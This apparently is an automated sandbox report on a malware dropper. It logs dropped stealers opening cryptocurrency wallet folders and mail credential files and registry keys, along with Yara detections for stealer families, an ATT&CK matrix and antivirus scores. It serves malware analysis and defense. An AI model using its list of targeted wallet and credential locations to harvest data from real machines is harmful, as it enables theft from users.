Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe	Jump to behavior

Source: Yara match	File source: 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zFe0EAtgy56yDxXht4nmozfb.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704, type: MEMORYSTR

Remote Access Functionality

Yara detected Glupteba

Source: Yara match	File source: 17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.2809504099.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2439089037.00000000000AE000.00000004.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: 7.2.zFe0EAtgy56yDxXht4nmozfb.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.eQEIduvtZVhzsp4oDFOuc1gy.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.2850327356.00000000066F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2852539306.00000000066F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eQEIduvtZVhzsp4oDFOuc1gy.exe PID: 4160, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\J4dorNOROd60TEXKOpUsDEA.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\YrWSGTvMbD1qxqADGULdj7d.zip, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2938091738.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FSYOvyvMMT80PCsMousFK1Xa.exe PID: 3884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Code function: 10_2_69ACA0C0 CorBindToRuntimeEx,GetModuleHandleW,GetModuleHandleW,__cftoe,GetModuleHandleW,GetProcAddress,

10_2_69ACA0C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
1 Software	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	51 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Windows Service	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	14 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Browser Extensions	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	236 System Information Discovery	SMB/Windows Admin Shares	41 Data from Local System	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Windows Service	4 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	711 Process Injection	1 Install Root Certificate	LSA Secrets	1371 Security Software Discovery	SSH	1 Credential API Hooking	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 Scheduled Task/Job	RC Scripts	1 Scheduled Task/Job	24 Software Packing	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	1 PowerShell	Startup Items	11 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	761 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	761 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	711 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
qk9TaBBxh8.exe	37%	ReversingLabs	Win64.Trojan.Znyonm
qk9TaBBxh8.exe	26%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Avira	HEUR/AGEN.1361904
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	100%	Avira	TR/AD.Nekark.sbdpe
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	100%	Joe Sandbox ML
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	88%	ReversingLabs	Win64.Trojan.Privateloader
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Retailer_prog[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\123p[1].exe	88%	ReversingLabs	Win64.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Space_bake[1].exe	31%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Default16_team[1].exe	71%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\cad54ba5b01423b1af8ec10ab5719d97[1].exe	43%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\grabber[1].exe	26%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\lumma1504[1].exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\is-3VR8O.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\is-EGFT5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\is-GP76V.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\libeay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\libssl-1_1.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Soul Media Player\ssleay32.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\AggregatorHost.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\BdeUISrv.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\Install.exe	34%	ReversingLabs	Win32.Adware.Generic
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\at.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\atieclxx.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\cacls.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zSDDAF.tmp\twain_32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\MSVCP140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\mfc140u.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin\win32ui.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI40602\_ctypes.pyd	0%	ReversingLabs
